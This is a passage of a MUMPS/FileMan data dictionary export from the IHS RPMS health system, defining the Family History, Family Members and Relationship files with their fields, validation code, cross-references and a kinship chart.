PATIENT NAME^RP2'I^DPT(^0;2^Q
"^DD",9000014,9000014,.02,1,0)
^.1
"^DD",9000014,9000014,.02,1,1,0)
9000014^AC
"^DD",9000014,9000014,.02,1,1,1)
S ^AUPNFH("AC",$E(X,1,30),DA)=""
"^DD",9000014,9000014,.02,1,1,2)
K ^AUPNFH("AC",$E(X,1,30),DA)
"^DD",9000014,9000014,.02,3)
"^DD",9000014,9000014,.02,"DT")
3150625
"^DD",9000014,9000014,.03,0)
DATE NOTED^RDI^^0;3^S %DT="EX" D ^%DT S X=Y K:DT<X!(2600000>X) X
"^DD",9000014,9000014,.03,1,0)
^.1
"^DD",9000014,9000014,.03,1,1,0)
9000014^AD
"^DD",9000014,9000014,.03,1,1,1)
S ^AUPNFH("AD",$E(X,1,30),DA)=""
"^DD",9000014,9000014,.03,1,1,2)
K ^AUPNFH("AD",$E(X,1,30),DA)
"^DD",9000014,9000014,.03,3)
TYPE A DATE BETWEEN 1960 AND TODAY
"^DD",9000014,9000014,.03,12)
VISIT MUST BE FOR CURRENT PATIENT
"^DD",9000014,9000014,.03,12.1)
S DIC("S")="I $P(^(0),U,5)=$P(^AUPNFH(DA,0),U,2)"
"^DD",9000014,9000014,.03,"DT")
2870217
"^DD",9000014,9000014,.04,0)
PROVIDER NARRATIVE^R*P9999999.27O^AUTNPOV(^0;4^S DIC(0)=$S($D(APCDALVR):"LO",1:"EMQLO") D ^DIC K DIC S DIC=DIE,X=+Y K:Y<0 X
"^DD",9000014,9000014,.04,2)
S Y(0)=Y S Y=$$PNPROB^AUPNVUTL(Y)
"^DD",9000014,9000014,.04,2.1)
S Y=$$PNPROB^AUPNVUTL(Y)
"^DD",9000014,9000014,.04,3)
"^DD",9000014,9000014,.04,12)
OLD LOOKUP
"^DD",9000014,9000014,.04,12.1)
S DIC(0)=$S($D(APCDALVR):"LO",1:"EMQLO")
"^DD",9000014,9000014,.04,"DT")
3130308
"^DD",9000014,9000014,.05,0)
DIAGNOSIS ONSET AGE^NJ3,0^^0;5^K:+X'=X!(X>150)!(X<1)!(X?.E1"."1N.N) X
"^DD",9000014,9000014,.05,3)
Type a number between 1 and 150, 0 decimal digits.
"^DD",9000014,9000014,.05,"DT")
3130222
"^DD",9000014,9000014,.08,0)
PROVIDER^P200'^VA(200,^0;8^Q
"^DD",9000014,9000014,.08,"DT")
3080128
"^DD",9000014,9000014,.09,0)
RELATION/FAMILY MEMBER^*P9000014.1X^AUPNFHR(^0;9^S DIC("S")="I $P(^(0),U,2)=$P(^AUPNFH(DA,0),U,2)" D ^DIC K DIC S DIC=$G(DIE),X=+Y K:Y<0 X
"^DD",9000014,9000014,.09,1,0)
^.1
"^DD",9000014,9000014,.09,1,1,0)
9000014^AE
"^DD",9000014,9000014,.09,1,1,1)
S ^AUPNFH("AE",$E(X,1,30),DA)=""
"^DD",9000014,9000014,.09,1,1,2)
K ^AUPNFH("AE",$E(X,1,30),DA)
"^DD",9000014,9000014,.09,1,1,"DT")
3080930
"^DD",9000014,9000014,.09,12)
Must be a relation for this patient.
"^DD",9000014,9000014,.09,12.1)
S DIC("S")="I $P(^(0),U,2)=$P(^AUPNFH(DA,0),U,2)"
"^DD",9000014,9000014,.09,"DT")
3080930
"^DD",9000014,9000014,.11,0)
AGE AT ONSET^S^I:In Infancy;1:Before age 20;2:At age 20-29;3:At age 30-39;4:At age 40-49;5:At age 50-59;6:60 and older;U:Age Unknown;^0;11^Q
"^DD",9000014,9000014,.11,3)
Select the age range for the date of onset of this condition.
"^DD",9000014,9000014,.11,"DT")
3080530
"^DD",9000014,9000014,.12,0)
DATE LAST MODIFIED^D^^0;12^S %DT="EX" D ^%DT S X=Y K:Y<1 X
"^DD",9000014,9000014,.12,"DT")
3080602
"^DD",9000014,9000014,.13,0)
SNOMED CT^F^^0;13^K:$L(X)>30!($L(X)<1) X
"^DD",9000014,9000014,.13,3)
Answer must be 1-30 characters in length.
"^DD",9000014,9000014,.13,"DT")
3130131
"^DD",9000014,9000014,.139,0)
SNOMED PREFERRED TERM^CJ60^^ ; ^S Y(9000014,.139,1)=$S($D(^AUPNFH(D0,0)):^(0),1:"") S X=$P(Y(9000014,.139,1),U,13),X=$$CONCPT^AUPNVUTL(X)
"^DD",9000014,9000014,.139,9)
^
"^DD",9000014,9000014,.139,9.01)
9000014^.13
"^DD",9000014,9000014,.139,9.1)
AUPNPT(#.13)
"^DD",9000014,9000014,.14,0)
SNOMED DESCRIPTION ID^F^^0;14^K:$L(X)>30!($L(X)<1) X
"^DD",9000014,9000014,.14,3)
Answer must be 1-30 characters in length.
"^DD",9000014,9000014,.14,"DT")
3130131
"^DD",9000014,9000014,.15,0)
APPROXIMATE AGE?^S^1:YES, APPROXIMATE AGE;0:NO;^0;15^Q
"^DD",9000014,9000014,.15,"DT")
3130221
"^DD",9000014,9000014,1101,0)
ADDITIONAL ICD CODES^9000014.11PA^^11;0
"^DD",9000014,9000014.11,0)
ADDITIONAL ICD CODES SUB-FIELD^^.01^1
"^DD",9000014,9000014.11,0,"DT")
3130131
"^DD",9000014,9000014.11,0,"IX","B",9000014.11,.01)
"^DD",9000014,9000014.11,0,"NM","ADDITIONAL ICD CODES")
"^DD",9000014,9000014.11,0,"UP")
9000014
"^DD",9000014,9000014.11,.01,0)
ADDITIONAL ICD CODES^P80'^ICD9(^0;1^Q
"^DD",9000014,9000014.11,.01,1,0)
^.1
"^DD",9000014,9000014.11,.01,1,1,0)
9000014.11^B
"^DD",9000014,9000014.11,.01,1,1,1)
S ^AUPNFH(DA(1),11,"B",$E(X,1,30),DA)=""
"^DD",9000014,9000014.11,.01,1,1,2)
K ^AUPNFH(DA(1),11,"B",$E(X,1,30),DA)
"^DD",9000014,9000014.11,.01,"DT")
3130131
"^DD",9000014.1,9000014.1,0)
FIELD^^.11^10
"^DD",9000014.1,9000014.1,0,"DDA")
N
"^DD",9000014.1,9000014.1,0,"DT")
3150625
"^DD",9000014.1,9000014.1,0,"IX","AA",9000014.1,.02)
"^DD",9000014.1,9000014.1,0,"IX","AATOO",9000014.1,.01)
"^DD",9000014.1,9000014.1,0,"IX","B",9000014.1,.01)
"^DD",9000014.1,9000014.1,0,"NM","FAMILY HISTORY FAMILY MEMBERS")
"^DD",9000014.1,9000014.1,0,"PT",9000014,.09)
"^DD",9000014.1,9000014.1,0,"VRPK")
IHS PCC SUITE
"^DD",9000014.1,9000014.1,.01,0)
RELATIONSHIP^R*P9999999.36'^AUTTRLSH(^0;1^S DIC("S")="I $P($G(^(21)),U,1)" D ^DIC K DIC S DIC=DIE,X=+Y K:Y<0 X
"^DD",9000014.1,9000014.1,.01,1,0)
^.1
"^DD",9000014.1,9000014.1,.01,1,1,0)
9000014.1^B
"^DD",9000014.1,9000014.1,.01,1,1,1)
S ^AUPNFHR("B",$E(X,1,30),DA)=""
"^DD",9000014.1,9000014.1,.01,1,1,2)
K ^AUPNFHR("B",$E(X,1,30),DA)
"^DD",9000014.1,9000014.1,.01,1,2,0)
9000014.1^AATOO^MUMPS
"^DD",9000014.1,9000014.1,.01,1,2,1)
I $P(^AUPNFHR(DA,0),U,2)]"" S ^AUPNFHR("AA",$P(^AUPNFHR(DA,0),U,2),X,DA)=""
"^DD",9000014.1,9000014.1,.01,1,2,2)
I $P(^AUPNFHR(DA,0),U,2)]"" K ^AUPNFHR("AA",$P(^AUPNFHR(DA,0),U,2),X,DA)
"^DD",9000014.1,9000014.1,.01,1,2,"DT")
3080529
"^DD",9000014.1,9000014.1,.01,3)
"^DD",9000014.1,9000014.1,.01,12)
Must be a valid Family History Relationship.
"^DD",9000014.1,9000014.1,.01,12.1)
S DIC("S")="I $P($G(^(21)),U,1)"
"^DD",9000014.1,9000014.1,.01,"DT")
3080623
"^DD",9000014.1,9000014.1,.02,0)
PATIENT^P2'^DPT(^0;2^Q
"^DD",9000014.1,9000014.1,.02,1,0)
^.1
"^DD",9000014.1,9000014.1,.02,1,1,0)
9000014.1^AA^MUMPS
"^DD",9000014.1,9000014.1,.02,1,1,1)
I $P(^AUPNFHR(DA,0),U,1) S ^AUPNFHR("AA",X,$P(^AUPNFHR(DA,0),U,1),DA)=""
"^DD",9000014.1,9000014.1,.02,1,1,2)
I $P(^AUPNFHR(DA,0),U,1) K ^AUPNFHR("AA",X,$P(^AUPNFHR(DA,0),U,1),DA)
"^DD",9000014.1,9000014.1,.02,1,1,"DT")
3080529
"^DD",9000014.1,9000014.1,.02,"DT")
3150625
"^DD",9000014.1,9000014.1,.03,0)
RELATION DESCRIPTION^F^^0;3^K:$L(X)>30!($L(X)<2) X
"^DD",9000014.1,9000014.1,.03,3)
Enter a description that will uniquely identify this family member, e.g. Cousin 1, Mom's sister
"^DD",9000014.1,9000014.1,.03,"DT")
3080528
"^DD",9000014.1,9000014.1,.04,0)
STATUS^S^L:LIVING;D:DECEASED;U:UNKNOWN;R:PT REFUSED TO ANSWER;^0;4^Q
"^DD",9000014.1,9000014.1,.04,3)
Enter the status of the specified family member.
"^DD",9000014.1,9000014.1,.04,"DT")
3080528
"^DD",9000014.1,9000014.1,.05,0)
AGE AT DEATH^S^I:In Infancy;1:Before Age 20;2:At age 20-29;3:At age 30-39;4:At age 40-49;5:At age 50-59;6:60 and older;U:Age Unknown;^0;5^Q
"^DD",9000014.1,9000014.1,.05,3)
Select the age range at death for this family member.
"^DD",9000014.1,9000014.1,.05,"DT")
3080530
"^DD",9000014.1,9000014.1,.06,0)
CAUSE OF DEATH^F^^0;6^K:$L(X)>60!($L(X)<2) X
"^DD",9000014.1,9000014.1,.06,3)
Enter a Cause of Death, answer must be 2-60 characters in length.
"^DD",9000014.1,9000014.1,.06,"DT")
3100902
"^DD",9000014.1,9000014.1,.07,0)
MULTIPLE BIRTH?^S^Y:YES;N:NO;U:UNKNOWN;^0;7^Q
"^DD",9000014.1,9000014.1,.07,3)
Was this family member a multiple birth (e.g. twin)?
"^DD",9000014.1,9000014.1,.07,"DT")
3080528
"^DD",9000014.1,9000014.1,.08,0)
MULTIPLE BIRTH TYPE^S^TU:TWIN, UNSPECIFIED;IT:IDENTICAL TWIN;FT:FRATERNAL TWIN;TR:TRIPLET;OTH:OTHER MULTIPLE;^0;8^Q
"^DD",9000014.1,9000014.1,.08,3)
Select the type of multiple birth for the family member.
"^DD",9000014.1,9000014.1,.08,"DT")
3080613
"^DD",9000014.1,9000014.1,.09,0)
DATE UPDATED^D^^0;9^S %DT="EX" D ^%DT S X=Y K:Y<1 X
"^DD",9000014.1,9000014.1,.09,"DT")
3080529
"^DD",9000014.1,9000014.1,.11,0)
DATE ADDED^D^^0;11^S %DT="EX" D ^%DT S X=Y K:Y<1 X
"^DD",9000014.1,9000014.1,.11,"DT")
3080616
"^DD",9999999.36,9999999.36,0)
FIELD^^8801^14
"^DD",9999999.36,9999999.36,0,"DDA")
Y
"^DD",9999999.36,9999999.36,0,"DT")
3080916
"^DD",9999999.36,9999999.36,0,"ID",.02)
W " ",$P(^(0),U,2)
"^DD",9999999.36,9999999.36,0,"IX","B",9999999.36,.01)
"^DD",9999999.36,9999999.36,0,"IX","B",9999999.36,8801)
"^DD",9999999.36,9999999.36,0,"IX","C",9999999.36,.02)
"^DD",9999999.36,9999999.36,0,"IX","D",9999999.36,.05)
"^DD",9999999.36,9999999.36,0,"IX","E",9999999.36,2104)
"^DD",9999999.36,9999999.36,0,"IX","F",9999999.36,2105)
"^DD",9999999.36,9999999.36,0,"NM","RELATIONSHIP")
"^DD",9999999.36,9999999.36,0,"PT",90480.6,.01)
"^DD",9999999.36,9999999.36,0,"PT",9000001,2802)
"^DD",9999999.36,9999999.36,0,"PT",9000001,3102)
"^DD",9999999.36,9999999.36,0,"PT",9000004,.06)
"^DD",9999999.36,9999999.36,0,"PT",9000006.02,4)
"^DD",9999999.36,9999999.36,0,"PT",9000006.11,.05)
"^DD",9999999.36,9999999.36,0,"PT",9000014.1,.01)
"^DD",9999999.36,9999999.36,0,"PT",9000037,.39)
"^DD",9999999.36,9999999.36,0,"PT",9000037,.53)
"^DD",9999999.36,9999999.36,0,"PT",9000037,.59)
"^DD",9999999.36,9999999.36,0,"PT",9000043.0101,.06)
"^DD",9999999.36,9999999.36,0,"PT",9002246,1)
"^DD",9999999.36,9999999.36,0,"PT",9002313.11,.11)
"^DD",9999999.36,9999999.36,0,"PT",9009064.02,.01)
"^DD",9999999.36,9999999.36,0,"SP",.01)
1^B
"^DD",9999999.36,9999999.36,0,"VRPK")
AUT
"^DD",9999999.36,9999999.36,.01,0)
RELATIONSHIP^RF^^0;1^K:$L(X)>60!($L(X)<3)!'(X'?1P.E)!(X'?.ANP) X
"^DD",9999999.36,9999999.36,.01,1,0)
^.1
"^DD",9999999.36,9999999.36,.01,1,1,0)
9999999.36^B
"^DD",9999999.36,9999999.36,.01,1,1,1)
S ^AUTTRLSH("B",$E(X,1,30),DA)=""
"^DD",9999999.36,9999999.36,.01,1,1,2)
K ^AUTTRLSH("B",$E(X,1,30),DA)
"^DD",9999999.36,9999999.36,.01,3)
Enter the value of this Individual Relationship, 3-60 characters.
"^DD",9999999.36,9999999.36,.01,21,0)
^^5^5^3020830^
"^DD",9999999.36,9999999.36,.01,21,1,0)
Relationship is usually defined by answering the question "What is his/her
"^DD",9999999.36,9999999.36,.01,21,2,0)
individual relationship to you?" Or, more pertinent, asking the Patient
"^DD",9999999.36,9999999.36,.01,21,3,0)
the same question.
"^DD",9999999.36,9999999.36,.01,21,4,0)
"^DD",9999999.36,9999999.36,.01,21,5,0)
An answer might be "She is my Wife.", or "He is my Nephew."
"^DD",9999999.36,9999999.36,.01,23,0)
^^5^5^3020830^^
"^DD",9999999.36,9999999.36,.01,23,1,0)
AUT*98.1*11 changed Label of field from NAME to RELATIONSHIP.
"^DD",9999999.36,9999999.36,.01,23,2,0)
"^DD",9999999.36,9999999.36,.01,23,3,0)
AUT*98.1*11 added DESCRIPTION.
"^DD",9999999.36,9999999.36,.01,23,4,0)
"^DD",9999999.36,9999999.36,.01,23,5,0)
AUT*98.1*11 increased field length to 60 to accommodate X12 values.
"^DD",9999999.36,9999999.36,.01,"DEL",.01,0)
I 1
"^DD",9999999.36,9999999.36,.01,"DT")
3020830
"^DD",9999999.36,9999999.36,.02,0)
UB-92 CODE^F^^0;2^K:X[""""!($A(X)=45) X I $D(X) K:$L(X)>2!($L(X)<2)!'(X?2N) X
"^DD",9999999.36,9999999.36,.02,1,0)
^.1
"^DD",9999999.36,9999999.36,.02,1,1,0)
9999999.36^C
"^DD",9999999.36,9999999.36,.02,1,1,1)
S ^AUTTRLSH("C",$E(X,1,30),DA)=""
"^DD",9999999.36,9999999.36,.02,1,1,2)
K ^AUTTRLSH("C",$E(X,1,30),DA)
"^DD",9999999.36,9999999.36,.02,3)
Answer must be 2 characters in length.
"^DD",9999999.36,9999999.36,.02,23,0)
^^2^2^3020830^
"^DD",9999999.36,9999999.36,.02,23,1,0)
Name of this field changed from "UB-82 CODE" to "UB-92 CODE" by
"^DD",9999999.36,9999999.36,.02,23,2,0)
AUT*98.1*11.
"^DD",9999999.36,9999999.36,.02,"DT")
3020830
"^DD",9999999.36,9999999.36,.03,0)
RECODE^F^^0;3^K:$L(X)>2!($L(X)<1) X
"^DD",9999999.36,9999999.36,.03,3)
Answer must be 1-2 characters in length.
"^DD",9999999.36,9999999.36,.03,"DT")
2900326
"^DD",9999999.36,9999999.36,.04,0)
COVD BY ACCIDENT INS^S^1:YES;^0;4^Q
"^DD",9999999.36,9999999.36,.04,21,0)
^^4^4^2970804^^
"^DD",9999999.36,9999999.36,.04,21,1,0)
Used by Third Party Billing to set set accident insurance as primary for
"^DD",9999999.36,9999999.36,.04,21,2,0)
patients treated for accident injuries. Field .04 must be set to 1 (Yes)
"^DD",9999999.36,9999999.36,.04,21,3,0)
for the relationship corresponding to accident related, tort related, or
"^DD",9999999.36,9999999.36,.04,21,4,0)
liability claimant.
"^DD",9999999.36,9999999.36,.04,"DT")
2970801
"^DD",9999999.36,9999999.36,.05,0)
X12 CODE^F^^0;5^K:$L(X)>2!($L(X)<2)!'(X?2UN) X
"^DD",9999999.36,9999999.36,.05,1,0)
^.1
"^DD",9999999.36,9999999.36,.05,1,1,0)
9999999.36^D
"^DD",9999999.36,9999999.36,.05,1,1,1)
S ^AUTTRLSH("D",$E(X,1,30),DA)=""
"^DD",9999999.36,9999999.36,.05,1,1,2)
K ^AUTTRLSH("D",$E(X,1,30),DA)
"^DD",9999999.36,9999999.36,.05,1,1,3)
Enable lookups on X12 CODE.
"^DD",9999999.36,9999999.36,.05,1,1,"%D",0)
^^9^9^3020830^
"^DD",9999999.36,9999999.36,.05,1,1,"%D",1,0)
You can retrieve an entry from this file, based on the X12 CODE, by, e.g.:
"^DD",9999999.36,9999999.36,.05,1,1,"%D",2,0)
"^DD",9999999.36,9999999.36,.05,1,1,"%D",3,0)
S X="15",D="D",DIC=9999999.36,DIC(0)="" D IX^DIC
"^DD",9999999.36,9999999.36,.05,1,1,"%D",4,0)
"^DD",9999999.36,9999999.36,.05,1,1,"%D",5,0)
However, X12 codes are not unique, and some lookups will fail. E.g "04"
"^DD",9999999.36,9999999.36,.05,1,1,"%D",6,0)
can mean "GRANDMOTHER" -or- "GRANDFATHER", and the above lookup using
"^DD",9999999.36,9999999.36,.05,1,1,"%D",7,0)
X="04" will fail.
"^DD",9999999.36,9999999.36,.05,1,1,"%D",8,0)
"^DD",9999999.36,9999999.36,.05,1,1,"%D",9,0)
Use caution.
"^DD",9999999.36,9999999.36,.05,1,1,"DT")
3020830
"^DD",9999999.36,9999999.36,.05,3)
Enter the X12 code.
"^DD",9999999.36,9999999.36,.05,10)
ASC X12N
"^DD",9999999.36,9999999.36,.05,21,0)
^^1^1^3020830^
"^DD",9999999.36,9999999.36,.05,21,1,0)
Enter the X12 code for this Relationship.
"^DD",9999999.36,9999999.36,.05,23,0)
^^6^6^3020830^
"^DD",9999999.36,9999999.36,.05,23,1,0)
Values to populate the X12 CODE field were originally obtained from the
"^DD",9999999.36,9999999.36,.05,23,2,0)
National Electronic Data Interchange Transaction Set Implementation Guide,
"^DD",9999999.36,9999999.36,.05,23,3,0)
Health Care Claim: Institutional 837 ASC X12N 837 (004010X096), May 2000,
"^DD",9999999.36,9999999.36,.05,23,4,0)
beginning on page 142.
"^DD",9999999.36,9999999.36,.05,23,5,0)
"^DD",9999999.36,9999999.36,.05,23,6,0)
August 30, 2002.
"^DD",9999999.36,9999999.36,.05,"DT")
3020830
"^DD",9999999.36,9999999.36,.06,0)
INACTIVE^S^1:INACTIVE;^0;6^Q
"^DD",9999999.36,9999999.36,.06,1,0)
^.1
"^DD",9999999.36,9999999.36,.06,1,1,0)
^^TRIGGER^9999999.36^.07
"^DD",9999999.36,9999999.36,.06,1,1,1)
K DIV S DIV=X,D0=DA,DIV(0)=D0 S Y(1)=$S($D(^AUTTRLSH(D0,0)):^(0),1:"") S X=$P(Y(1),U,7),X=X S DIU=X K Y S X=DIV N %I,%H,% D NOW^%DTC X ^DD(9999999.36,.06,1,1,1.4)
"^DD",9999999.36,9999999.36,.06,1,1,1.4)
S DIH=$S($D(^AUTTRLSH(DIV(0),0)):^(0),1:""),DIV=X S $P(^(0),U,7)=DIV,DIH=9999999.36,DIG=.07 D ^DICR:$O(^DD(DIH,DIG,1,0))>0
"^DD",9999999.36,9999999.36,.06,1,1,2)
K DIV S DIV=X,D0=DA,DIV(0)=D0 S Y(1)=$S($D(^AUTTRLSH(D0,0)):^(0),1:"") S X=$P(Y(1),U,7),X=X S DIU=X K Y S X="" X ^DD(9999999.36,.06,1,1,2.4)
"^DD",9999999.36,9999999.36,.06,1,1,2.4)
S DIH=$S($D(^AUTTRLSH(DIV(0),0)):^(0),1:""),DIV=X S $P(^(0),U,7)=DIV,DIH=9999999.36,DIG=.07 D ^DICR:$O(^DD(DIH,DIG,1,0))>0
"^DD",9999999.36,9999999.36,.06,1,1,"CREATE VALUE")
TODAY
"^DD",9999999.36,9999999.36,.06,1,1,"DELETE VALUE")
@
"^DD",9999999.36,9999999.36,.06,1,1,"FIELD")
DATE INACTIVATED
"^DD",9999999.36,9999999.36,.06,3)
Has this entry been Inactivated?
"^DD",9999999.36,9999999.36,.06,21,0)
^^2^2^3020830^
"^DD",9999999.36,9999999.36,.06,21,1,0)
Is this code inactive? If marked as Inactive, the DATE INACTIVATED field
"^DD",9999999.36,9999999.36,.06,21,2,0)
will be populated with today's date.
"^DD",9999999.36,9999999.36,.06,23,0)
^^1^1^3020830^
"^DD",9999999.36,9999999.36,.06,23,1,0)
The INACTIVE field was created by patch AUT*98.1*11.
"^DD",9999999.36,9999999.36,.06,"DT")
3020830
"^DD",9999999.36,9999999.36,.07,0)
DATE INACTIVATED^D^^0;7^S %DT="EX" D ^%DT S X=Y K:Y<1 X
"^DD",9999999.36,9999999.36,.07,3)
DO NOT EDIT. PROGRAMATICALLY CONTROLLED.
"^DD",9999999.36,9999999.36,.07,5,1,0)
9999999.36^.06^1
"^DD",9999999.36,9999999.36,.07,9)
^
"^DD",9999999.36,9999999.36,.07,21,0)
^^1^1^3020830^
"^DD",9999999.36,9999999.36,.07,21,1,0)
DO NOT EDIT. PROGRAMATICALLY CONTROLLED.
"^DD",9999999.36,9999999.36,.07,23,0)
^^3^3^3020830^
"^DD",9999999.36,9999999.36,.07,23,1,0)
DATE INACTIVATED is Triggered by the INACTIVE field.
"^DD",9999999.36,9999999.36,.07,23,2,0)
"^DD",9999999.36,9999999.36,.07,23,3,0)
DATE INACTIVATED added by patch AUT*98.1*11.
"^DD",9999999.36,9999999.36,.07,"DT")
3020830
"^DD",9999999.36,9999999.36,2101,0)
USE FOR PCC FAMILY HISTORY?^S^1:YES;^21;1^Q
"^DD",9999999.36,9999999.36,2101,3)
Is this a bloodline relationship?
"^DD",9999999.36,9999999.36,2101,"DT")
3080912
"^DD",9999999.36,9999999.36,2102,0)
MULTIPLE RELATION?^S^1:YES;^21;2^Q
"^DD",9999999.36,9999999.36,2102,3)
Can this relationship entry be selected more than once? ie. A patient may have more than one sister, but not more than one natural father.
"^DD",9999999.36,9999999.36,2102,"DT")
3080912
"^DD",9999999.36,9999999.36,2103,0)
SORT ORDER FOR HEALTH SUMMARY^NJ3,0^^21;3^K:+X'=X!(X>999)!(X<1)!(X?.E1"."1N.N) X
"^DD",9999999.36,9999999.36,2103,3)
Type a Number between 1 and 999 to designate the order in which this entry should appear on the Health Summary.
"^DD",9999999.36,9999999.36,2103,"DT")
3080912
"^DD",9999999.36,9999999.36,2104,0)
HL7 CODE^F^^21;4^K:$L(X)>10!($L(X)<3) X
"^DD",9999999.36,9999999.36,2104,1,0)
^.1
"^DD",9999999.36,9999999.36,2104,1,1,0)
9999999.36^E
"^DD",9999999.36,9999999.36,2104,1,1,1)
S ^AUTTRLSH("E",$E(X,1,30),DA)=""
"^DD",9999999.36,9999999.36,2104,1,1,2)
K ^AUTTRLSH("E",$E(X,1,30),DA)
"^DD",9999999.36,9999999.36,2104,1,1,"DT")
3080916
"^DD",9999999.36,9999999.36,2104,3)
Answer must be 3-10 characters in length.
"^DD",9999999.36,9999999.36,2104,"DT")
3080916
"^DD",9999999.36,9999999.36,2105,0)
SYNONYM^F^^21;5^K:$L(X)>60!($L(X)<3) X
"^DD",9999999.36,9999999.36,2105,1,0)
^.1
"^DD",9999999.36,9999999.36,2105,1,1,0)
9999999.36^F
"^DD",9999999.36,9999999.36,2105,1,1,1)
S ^AUTTRLSH("F",$E(X,1,30),DA)=""
"^DD",9999999.36,9999999.36,2105,1,1,2)
K ^AUTTRLSH("F",$E(X,1,30),DA)
"^DD",9999999.36,9999999.36,2105,1,1,"DT")
3080916
"^DD",9999999.36,9999999.36,2105,3)
Synonym or other name associated with this specific relationship.
"^DD",9999999.36,9999999.36,2105,"DT")
3080916
"^DD",9999999.36,9999999.36,8801,0)
MNEMONIC^F^^88;1^K:X[""""!($A(X)=45) X I $D(X) K:$L(X)>2!($L(X)<1) X
"^DD",9999999.36,9999999.36,8801,1,0)
^.1
"^DD",9999999.36,9999999.36,8801,1,1,0)
9999999.36^B^MNEMONIC
"^DD",9999999.36,9999999.36,8801,1,1,1)
S ^AUTTRLSH("B",$E(X,1,30),DA)=1
"^DD",9999999.36,9999999.36,8801,1,1,2)
K ^AUTTRLSH("B",$E(X,1,30),DA)
"^DD",9999999.36,9999999.36,8801,3)
ANSWER MUST BE 1-2 CHARACTERS IN LENGTH
"^DD",9999999.36,9999999.36,8801,"DT")
2851216
"^DD",9999999.36,9999999.36,9901,0)
GENDER^S^1:male;2:female;3:other;4:unknown;^99;1^Q
"^DD",9999999.36,9999999.36,9901,3)
Enter gender implied by this relationship type.
"^DD",9999999.36,9999999.36,9901,"DT")
3150625
"^DIC",9000014,9000014,0)
FAMILY HISTORY^9000014AIP
"^DIC",9000014,9000014,0,"GL")
^AUPNFH(
"^DIC",9000014,9000014,"%D",0)
^1.001^7^7^3081114^^^^
"^DIC",9000014,9000014,"%D",1,0)
This file contains a history of family health problems for a given
"^DIC",9000014,9000014,"%D",2,0)
patient. These are not the patient's problems, but those of some
"^DIC",9000014,9000014,"%D",3,0)
immediate member of the family. The information is gathered as a
"^DIC",9000014,9000014,"%D",4,0)
result of a patient visit at which the patient provides the history.
"^DIC",9000014,9000014,"%D",5,0)
The file contains backward pointers to the IHS Patient file and
"^DIC",9000014,9000014,"%D",6,0)
visit file, and data must exist in both of these files for the
"^DIC",9000014,9000014,"%D",7,0)
patient and visit before data can be entered here.
"^DIC",9000014,"B","FAMILY HISTORY",9000014)
"^DIC",9000014.1,9000014.1,0)
FAMILY HISTORY FAMILY MEMBERS^9000014.1
"^DIC",9000014.1,9000014.1,0,"GL")
^AUPNFHR(
"^DIC",9000014.1,9000014.1,"%",0)
^1.005^^0
"^DIC",9000014.1,9000014.1,"%D",0)
^1.001^2^2^3081114^^
"^DIC",9000014.1,9000014.1,"%D",1,0)
Contains 1 entry for each family member for a patient for which family
"^DIC",9000014.1,9000014.1,"%D",2,0)
history is documented.
"^DIC",9000014.1,"B","FAMILY HISTORY FAMILY MEMBERS",9000014.1)
"^DIC",9999999.36,9999999.36,0)
RELATIONSHIP^9999999.36
"^DIC",9999999.36,9999999.36,0,"GL")
^AUTTRLSH(
"^DIC",9999999.36,9999999.36,"%D",0)
^^115^115^3020920^
"^DIC",9999999.36,9999999.36,"%D",1,0)
DATA DICTIONARY...:
"^DIC",9999999.36,9999999.36,"%D",2,0)
This is a standard RPMS data dictionary, maintained in the AUT package.
"^DIC",9999999.36,9999999.36,"%D",3,0)
Changes to this data dictionary must be submitted to the RPMS DBA.
"^DIC",9999999.36,9999999.36,"%D",4,0)
"^DIC",9999999.36,9999999.36,"%D",5,0)
ENTRIES IN THIS FILE...:
"^DIC",9999999.36,9999999.36,"%D",6,0)
Values in the RELATIONSHIP file are not restricted to consanguinity, but
"^DIC",9999999.36,9999999.36,"%D",7,0)
also extend to political, legal, emotional, and situational relationships.
"^DIC",9999999.36,9999999.36,"%D",8,0)
BUT, the RELATIONSHIP file is intended to support only individual
"^DIC",9999999.36,9999999.36,"%D",9,0)
relationships, not corporate or community (e.g.) relationships.
"^DIC",9999999.36,9999999.36,"%D",10,0)
"^DIC",9999999.36,9999999.36,"%D",11,0)
A CHART OF CONSANGUINITY
"^DIC",9999999.36,9999999.36,"%D",12,0)
"Kinship Chart"
"^DIC",9999999.36,9999999.36,"%D",13,0)
"^DIC",9999999.36,9999999.36,"%D",14,0)
Helps to identify the relationship of those sharing common ancestors.
"^DIC",9999999.36,9999999.36,"%D",15,0)
"^DIC",9999999.36,9999999.36,"%D",16,0)
O P GP GGP 3GP 4GP 5GP
"^DIC",9999999.36,9999999.36,"%D",17,0)
P S N GN 2GN 3GN 4GN
"^DIC",9999999.36,9999999.36,"%D",18,0)
GP N 1C 1C 1C 1C 1C
"^DIC",9999999.36,9999999.36,"%D",19,0)
1R 2R 3R 4R
"^DIC",9999999.36,9999999.36,"%D",20,0)
GGP GN 1C 2C 2C 2C 2C
"^DIC",9999999.36,9999999.36,"%D",21,0)
1R 1R 2R 3R
"^DIC",9999999.36,9999999.36,"%D",22,0)
3GP 2GN 1C 2C 3C 3C 3C
"^DIC",9999999.36,9999999.36,"%D",23,0)
2R 1R 1R 2R
"^DIC",9999999.36,9999999.36,"%D",24,0)
4GP 3GN 1C 2C 3C 4C 4C
"^DIC",9999999.36,9999999.36,"%D",25,0)
3R 2R 1R 1R
"^DIC",9999999.36,9999999.36,"%D",26,0)
5GP 4GN 1C 2C 3C 4C 5C
"^DIC",9999999.36,9999999.36,"%D",27,0)
4R 3R 2R 1R
"^DIC",9999999.36,9999999.36,"%D",28,0)
"^DIC",9999999.36,9999999.36,"%D",29,0)
C = Cousin
"^DIC",9999999.36,9999999.36,"%D",30,0)
P = Parents
"^DIC",9999999.36,9999999.36,"%D",31,0)
G = Great/Grand
"^DIC",9999999.36,9999999.36,"%D",32,0)
N = Nephew/Niece
"^DIC",9999999.36,9999999.36,"%D",33,0)
O = Original Ancestors
"^DIC",9999999.36,9999999.36,"%D",34,0)
R = Removed
"^DIC",9999999.36,9999999.36,"%D",35,0)
S = Sibling (brother or sister)
"^DIC",9999999.36,9999999.36,"%D",36,0)
Examples:
"^DIC",9999999.36,9999999.36,"%D",37,0)
1C = First Cousin
"^DIC",9999999.36,9999999.36,"%D",38,0)
GGP = Great Grand Parents
"^DIC",9999999.36,9999999.36,"%D",39,0)
2C1R = Second Cousin, Once Removed
"^DIC",9999999.36,9999999.36,"%D",40,0)
GN = Grand Nephew/Niece
"^DIC",9999999.36,9999999.36,"%D",41,0)
3GP = Great Great Grand Parents
"^DIC",9999999.36,9999999.36,"%D",42,0)
5GP = Great Great Great Great Grand Parents
